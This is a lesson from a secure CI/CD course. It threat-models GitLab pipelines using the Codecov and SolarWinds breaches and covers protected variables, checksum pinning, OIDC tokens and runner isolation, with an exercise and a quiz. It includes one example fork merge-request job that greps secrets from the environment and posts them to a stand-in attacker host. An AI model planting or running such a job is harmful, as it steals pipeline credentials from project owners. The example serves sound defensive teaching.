CoursesSecure CI/CD with GitLabThreat-model your pipeline

Threat-model your pipeline

Poisoned deps, leaked runners, tampered artifacts.

Intermediate12 min · lesson 4 of 17

A locksmith's van holds the keys to every house on the street. Nobody bothers picking a lock when they can take the van. Your build pipeline is the van. Around 31 January 2021, attackers changed a single line in Codecov's Bash Uploader, the curl ... | bash script that thousands of CI pipelines (continuous integration, where a server builds and tests your code automatically on every push) fed straight into a shell on every run. That line sat there for roughly two months. It surfaced only when a customer compared the downloaded script's SHA-256 fingerprint, the short code computed from a file's contents that changes if even one byte changes, against the checksum Codecov published, and saw the two no longer matched. Codecov heard about it on 1 April 2021 and disclosed the breach publicly two weeks later, on 15 April. For that whole stretch, every pipeline that ran the script quietly copied its environment variables (the name-and-value settings a running program can read, which is where CI keeps its secrets) to a server the attackers controlled. Cloud keys. Registry tokens. Signing secrets. No customer's own application was vulnerable; the pipeline itself was the delivery vehicle. That is the shift this lesson asks you to make: your pipeline is production. It holds credentials to your registry and your cloud, it can deploy, and it runs code on every push, which makes it exactly as valuable a target as the servers it deploys to, and usually far less watched. SolarWinds in 2020 was the same lesson at nation-state scale. The build system was subverted, a backdoor called SUNBURST was compiled into signed Orion releases, and customers installed malware that passed every signature check.

What is worth stealing, how they get in, what stops them

Threat modeling sounds like a formal exercise. It is three questions asked in a fixed order, the same three a shopkeeper runs through at closing time. What is worth stealing? How could someone reach it? What stops them? The trade names for those are assets, entry points and controls. For a pipeline, the assets are easy to list. The CI/CD variables holding your deploy tokens and cloud keys (the CD half is continuous delivery, the part that ships a build somewhere real). The runner's execution context, meaning the machine or container your job actually runs inside. The artifacts passed from the build job to the deploy job, which are the files one job produces and the next one consumes. And the deploy credentials themselves. The entry points are equally concrete. An untrusted merge request, GitLab's name for a proposed change waiting on review, because running contributor code is what CI is for. A poisoned dependency or base image pulled in at build time. The job's own outbound network access. A runner wired to more than it needs. STRIDE (Spoofing, Tampering, Repudiation, Information disclosure, Denial of service, Elevation of privilege) is the checklist for naming what can go wrong at each spot. The map below is a stripped-back STRIDE view of that surface: every entry point, the threat it opens up, and the control that shuts it. Treat it as a worked answer rather than a list to adopt, because the pass is short enough to redo on your own project: open your .gitlab-ci.yml, take one job at a time, and write down what it can reach, who can make it run, and what would stop them.

Pipeline attack surface (STRIDE-lite)
Untrusted MR / fork
Job reads CI variables
Info disclosure -> mark secrets protected
Edits .gitlab-ci.yml
Elevation -> protected runners + branch protection
Poisoned inputs
Typosquat dep / bad base image
Tampering -> pin by digest, scan, verify
curl | bash uploader (Codecov)
Tampering -> checksum/verify before run
Build execution
Exfil via job network
Info disclosure -> short-lived OIDC, egress limits
Runner escape (privileged/DinD)
Elevation -> isolated non-privileged executor
Artifact handoff
Swapped artifact (SolarWinds)
Tampering/Repudiation -> sign + verify, gated deploy
Assets = CI/CD variables, runner context, artifacts, deploy creds. Each later lesson closes one row: scoped secrets, input scanning, runner isolation, artifact signing, gated deploys.

The merge request an attacker writes for you

The sharpest way in is the door CI is built to hold open. A pipeline runs the code in a merge request, and that includes the branch's own .gitlab-ci.yml, the file that decides what the pipeline does. So an outside contributor, or a maintainer whose account has been taken over, can add a job that reads every variable in its environment and posts the collection to a machine they own. Nothing about it is exotic. It is an ordinary job running an ordinary curl. This is the whole attack:

.gitlab-ci.yml (submitted in a fork MR)
# job added to .gitlab-ci.yml in the contributor's fork
exfiltrate:
stage: test
script:
- env | grep -iE 'TOKEN|SECRET|KEY|PASSWORD' > loot.txt
- curl -fsS -X POST --data-binary @loot.txt https://collect.evil.example/x || true

What stops it is scoping, not cleverness. Mark the deploy token as a protected variable and GitLab hands it out only to pipelines running on protected refs, meaning protected branches and protected tags. A fork pipeline never receives it. Neither does a feature branch. On the attacker's merge request the variable is not redacted, and it is not blocked. It is absent. There is no DEPLOY_TOKEN in the environment for grep to find, so your standing production credential never reaches loot.txt. Built-in tokens like CI_JOB_TOKEN are a different matter, because GitLab injects those into every job, and that is exactly what the job-token allowlist further down exists to constrain. You can prove the scoping holds without taking any risk. Run a harmless diagnostic on the fork branch that counts how many of your protected secrets leaked into the job. It comes back zero:

CI job log — diagnostic run on the fork branch
Running with gitlab-runner 17.5.0 (docker executor)
Executing "step_script" stage of the job script
$ env | grep -iE 'DEPLOY_TOKEN|AWS_SECRET_ACCESS_KEY|REGISTRY_PASSWORD' | wc -l
0
Cleaning up project directory and file based variables
Job succeeded

Notice what does not save you here: masking. A masked variable prints as [MASKED] in the log, but the job still receives the real bytes and can send them wherever it likes. Masking is log hygiene, not access control, and GitLab's own documentation is blunt about it. Masking is not a guaranteed way to keep a value away from a malicious job. Only 'protected' keeps a secret off untrusted pipelines. You set both flags at the moment you create the variable. Creating it through the REST API (a way to configure GitLab by sending HTTP requests, rather than clicking checkboxes in the web interface) leaves the setting in a script someone can review and rerun:

Terminal — GitLab REST API
$ curl -sS --request POST --header "PRIVATE-TOKEN: $GL_TOKEN" \
"https://gitlab.com/api/v4/projects/1421/variables" \
--form "key=DEPLOY_TOKEN" --form "value=glpat-REDACTED" \
--form "protected=true" --form "masked=true"
{"key":"DEPLOY_TOKEN","value":"glpat-REDACTED","variable_type":"env_var",
"protected":true,"masked":true,"hidden":false,"raw":false,
"environment_scope":"*","description":null}

The code you pull in is code you run

The malicious merge request is about who gets to run code in your pipeline. Codecov is about what your own trusted pipeline drags in. Every dependency, every base image, every script you download is code that executes with your credentials in scope. Two habits blunt most of it. Pin dependencies and base images by digest, the exact content fingerprint, so a moving tag like 'latest' cannot shift under you between Tuesday and Wednesday. And verify anything you download against a fingerprint you were already holding, rather than one the download hands you on its way in. That is the check that would have caught Codecov: the expected digest sits in your repository, where changing it takes a merge request, and a swapped binary fails the build instead of running:

CI job: check the download against a hash your repo already holds
$ cat ci/codecov.sha256
8f3d2e1a9c0b7648d5e4f3a2b1c09d8e7f6a5b4c3d2e1f0a9b8c7d6e5f4a3b2c codecov
$ curl -fsSL https://cli.codecov.io/latest/linux/codecov -o codecov
$ sha256sum -c ci/codecov.sha256
codecov: OK
$ chmod +x codecov && ./codecov upload-process
info - 2026-07-14 10:22:01,254 -- Uploading coverage report to Codecov

A mismatch prints codecov: FAILED, sha256sum exits 1, and the job stops. The pipeline stops with it. The tampered binary never gets to run. Notice where the expected hash came from. It was sitting in the repository before the job started, because a checksum protects you only if it reaches you by a route the attacker cannot swap in the same breath as the binary. Codecov's customer caught the 2021 tamper because the published checksum lived on GitHub, on separate ground from the compromised script. Add a second curl that pulls codecov.SHA256SUM off cli.codecov.io and you have learned nothing: one compromised host serves a tampered binary and a digest that matches it, and the two agree with each other. Pinning the hash in your own repository puts it behind review; verifying Codecov's detached signature (codecov.SHA256SUM.sig) against a public key you already hold gets you to the same place by a different route. That gap is the entire difference between piping a URL into a shell and verifying it first.

Assume a job gets taken over, and make that cheap

You cannot make CI perfectly safe, because running other people's code is the whole point of it. So build for containment. Keep every privilege small and short-lived. Mint OIDC credentials per run with GitLab's id_tokens (OpenID Connect, where the job proves its identity to your cloud provider and gets back a token that expires in minutes) instead of parking a standing admin key in a variable, so a subverted job has little worth stealing. Give jobs isolated runners that keep nothing between builds. A poisoned build is then thrown out with the container it ran in, and the next job starts on clean ground. Protected runners are the other half of that: an untrusted merge request never lands on the machine holding your deploy credentials. Protected branches and environments hold the deploy step behind review. Sign your artifacts, so a swap between build and deploy shows up instead of shipping. And fence in CI_JOB_TOKEN, which is present in every job whether you want it there or not, with GitLab's job-token allowlist naming the projects it may reach. Each of the next lessons puts one of those layers in place. The next one, protected branches, tags and environments, is the review gate the rest of them lean on.

Masked is not protected, and fork settings decide who runs your code
These two settings get confused constantly. Masking only blanks a secret out of the log; the job still holds the real value and can post it to a server of its choosing, so against a malicious job masking stops nothing at all. 'Protected' is the control that does the work: it keeps the variable off any pipeline that is not running on a protected ref. Pair it with your project's merge-request pipeline settings and make a deliberate decision about whether fork merge requests run at all, and on which runners. An unprotected variable plus fork pipelines is precisely how an outside contributor ends up reading your production token.

Try this

Take a scratch project you own and add a CI/CD variable named DEPLOY_TOKEN with a throwaway value of at least eight characters and no spaces, so GitLab lets you tick both Protect variable and Mask variable. Then add one job that does nothing but count whether the variable arrived:

.gitlab-ci.yml (scope check on a scratch project)
scope-check:
stage: test
script:
- env | grep -c '^DEPLOY_TOKEN=' || true

Run that pipeline twice: once on your protected default branch, once on an unprotected feature branch. The first job prints 1, the second prints 0, and that 0 is the whole control. Now untick Protect variable and re-run the feature branch. The count comes back 1. Add echo "$DEPLOY_TOKEN" to the job and the log reads [MASKED] while the job is holding the real string, which is the gap between log hygiene and access control in two runs.

Takeaway

Open the CI/CD variables list for one project you actually deploy from and read the Protect column, not the Mask column. Any privileged value without Protect ticked is a value an unreviewed branch can read today. Ticking that box costs a second. Finding out the other way costs a credential rotation across your cloud and your registry.

Quick check
01On a scratch project you add one job whose only line is env | grep -c '^DEPLOY_TOKEN=' || true. It printed 1 on your protected default branch and 0 on a feature branch. This week the same job on that same feature branch prints 1, and nobody edited the branch or the job. What changed?
Incorrect — Masking changes how a value is printed in the log, never whether the job receives it. That count would have read 1 with Mask ticked or unticked, because grep reads the environment and not the log.
Incorrect — A protected runner controls which pipelines are allowed to execute on that machine. It has no say in which variables GitLab hands to a job, so moving runners cannot move that count.
Correct — Protect is the flag that decides delivery. With it off, every feature branch and every fork pipeline is handed the real token, which is exactly what the count of 1 is reporting to you.
Incorrect — Merge request pipelines follow the same rule as every other pipeline. A protected variable reaches one only when the source ref is protected, and an ordinary feature branch is not.
02Your build job fetches the codecov binary and codecov.SHA256SUM from cli.codecov.io with two curl calls, then runs sha256sum -c codecov.SHA256SUM, which prints codecov: OK. A teammate says this setup would have caught the 2021 tamper. What has to change before that claim holds?
Correct — Pin the hash in your own repository, or check codecov.SHA256SUM.sig against a public key you already hold. The customer who caught the 2021 tamper was comparing against a checksum published on GitHub.
Incorrect — The exit code behaviour is real, and a mismatch does print codecov: FAILED and stop the job. The weak point sits upstream of it, because one host served both files and a tampered pair agrees with itself.
Incorrect — The job already verifies before it runs chmod, so the order is not the problem here. Changing permission bits leaves the contents untouched, so the digest is identical before and after chmod.
Incorrect — No collision was involved in the Codecov breach. One line of the uploader was changed and the published checksum was simply never compared, so a longer digest would have prevented nothing.
03Every deploy secret in the project is ticked Protect and Mask, and on a fork branch your diagnostic env | grep -iE 'DEPLOY_TOKEN|AWS_SECRET_ACCESS_KEY|REGISTRY_PASSWORD' | wc -l comes back 0. A teammate reads that as an untrusted merge request with nothing left worth stealing. What is still sitting in that job, and what fences it in?
Incorrect — Two things are off here. Protect keeps DEPLOY_TOKEN off a fork pipeline entirely, which is why the count came back 0, and masking only rewrites the log while the job holds the real string.
Correct — GitLab puts this token in every job whether you asked for it or not, so ticking Protect on your own variables never removes it. You constrain it by naming the projects it is allowed to reach.
Incorrect — A job receives an id_token only when you configure it to request one, so it is not there by default. Its few minute life limits how long a stolen copy works, not which systems it can reach.
Incorrect — Environment scope decides which environments a variable applies to, and * simply means all of them. It sits beside protected in the API response rather than overriding it, and the grep found nothing anyway.

Related